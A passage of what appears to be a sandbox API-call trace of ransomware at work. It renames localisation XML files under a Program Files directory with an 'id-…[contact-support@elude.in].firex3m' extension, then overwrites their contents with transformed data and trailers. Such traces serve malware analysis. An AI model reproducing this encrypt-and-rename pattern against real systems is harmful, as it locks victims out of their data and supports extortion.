pbstr=0x3cfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgradeth2.xml") returned 1 [0217.889] GetProcessHeap () returned 0x630000 [0217.889] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5098) returned 0x6fe3bb0 [0217.889] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0217.890] CloseHandle (hObject=0x620) returned 1 [0217.890] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.890] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.892] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5480 [0217.892] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0217.892] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0217.892] GetProcessHeap () returned 0x630000 [0217.892] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66a3e0 [0217.892] GetProcessHeap () returned 0x630000 [0217.892] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x691808 [0217.892] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.892] ReadFile (in: hFile=0x620, lpBuffer=0x66a3e0, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x66a3e0*, lpNumberOfBytesRead=0x3cfff0c*=0x180, lpOverlapped=0x0) returned 1 [0217.989] GetProcessHeap () returned 0x630000 [0217.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0217.989] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.989] WriteFile (in: hFile=0x620, lpBuffer=0x691808*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x691808*, lpNumberOfBytesWritten=0x3cfff0c*=0x180, lpOverlapped=0x0) returned 1 [0217.990] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.990] WriteFile (in: hFile=0x620, lpBuffer=0x691987*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x691987*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.990] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.990] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.990] CloseHandle (hObject=0x620) returned 1 [0217.990] GetProcessHeap () returned 0x630000 [0217.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x691808 | out: hHeap=0x630000) returned 1 [0217.990] GetProcessHeap () returned 0x630000 [0217.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66a3e0 | out: hHeap=0x630000) returned 1 [0217.990] GetProcessHeap () returned 0x630000 [0217.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0217.990] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47e0c88f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0xce07496, dwReserved1=0x66a3d8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0217.991] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0217.991] Sleep (dwMilliseconds=0x1) [0219.541] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x3cfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgradeth2.xml") returned 1 [0219.541] GetProcessHeap () returned 0x630000 [0219.541] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c8) returned 0x6fe3bb0 [0219.542] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0219.542] CloseHandle (hObject=0x69c) returned 1 [0219.543] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.543] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.544] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4ec0 [0219.544] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0219.544] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0219.544] GetProcessHeap () returned 0x630000 [0219.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0219.544] GetProcessHeap () returned 0x630000 [0219.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0219.544] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.544] ReadFile (in: hFile=0x69c, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x3cfff0c*=0x180, lpOverlapped=0x0) returned 1 [0219.547] GetProcessHeap () returned 0x630000 [0219.547] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0219.547] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.547] WriteFile (in: hFile=0x69c, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x3cfff0c*=0x180, lpOverlapped=0x0) returned 1 [0219.547] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.547] WriteFile (in: hFile=0x69c, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.547] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.547] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.547] CloseHandle (hObject=0x69c) returned 1 [0219.547] GetProcessHeap () returned 0x630000 [0219.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0219.548] GetProcessHeap () returned 0x630000 [0219.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0219.548] GetProcessHeap () returned 0x630000 [0219.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0219.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x48cf3506, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0xce07496, dwReserved1=0x6860c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5340 [0219.548] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0219.548] Sleep (dwMilliseconds=0x1) [0221.165] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x3cfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastreviewsettings.xml") returned 1 [0221.165] GetProcessHeap () returned 0x630000 [0221.165] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50f0) returned 0x6fe3bb0 [0221.165] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0221.169] CloseHandle (hObject=0x698) returned 1 [0221.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.170] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.170] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4e00 [0221.171] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0221.171] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0221.171] GetProcessHeap () returned 0x630000 [0221.171] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa7f0 [0221.171] GetProcessHeap () returned 0x630000 [0221.171] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aaba0 [0221.171] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.171] ReadFile (in: hFile=0x698, lpBuffer=0x74aa7f0, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa7f0*, lpNumberOfBytesRead=0x3cfff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0221.174] GetProcessHeap () returned 0x630000 [0221.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0221.174] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.174] WriteFile (in: hFile=0x698, lpBuffer=0x74aaba0*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aaba0*, lpNumberOfBytesWritten=0x3cfff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0221.174] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.174] WriteFile (in: hFile=0x698, lpBuffer=0x74aad3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aad3f*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.174] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.174] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.174] CloseHandle (hObject=0x698) returned 1 [0221.174] GetProcessHeap () returned 0x630000 [0221.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aaba0 | out: hHeap=0x630000) returned 1 [0221.174] GetProcessHeap () returned 0x630000 [0221.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa7f0 | out: hHeap=0x630000) returned 1 [0221.174] GetProcessHeap () returned 0x630000 [0221.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0221.174] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.175] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49c72ceb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x3cffd20, dwReserved1=0x74aa7f0, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5400 [0221.175] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0221.175] Sleep (dwMilliseconds=0x1) [0222.590] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x3cfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastreviewsettings.xml") returned 1 [0222.590] GetProcessHeap () returned 0x630000 [0222.590] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x517c) returned 0x6fe3bb0 [0222.590] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0222.591] CloseHandle (hObject=0x3f8) returned 1 [0222.591] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0222.591] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.932] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.932] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0225.932] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0225.932] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 